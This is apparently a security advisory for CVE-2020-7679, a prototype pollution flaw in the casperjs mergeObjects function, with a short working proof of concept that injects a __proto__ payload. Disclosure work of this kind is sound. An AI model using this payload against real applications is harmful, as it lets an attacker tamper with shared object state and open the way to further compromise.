CVE-2020-7679: Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"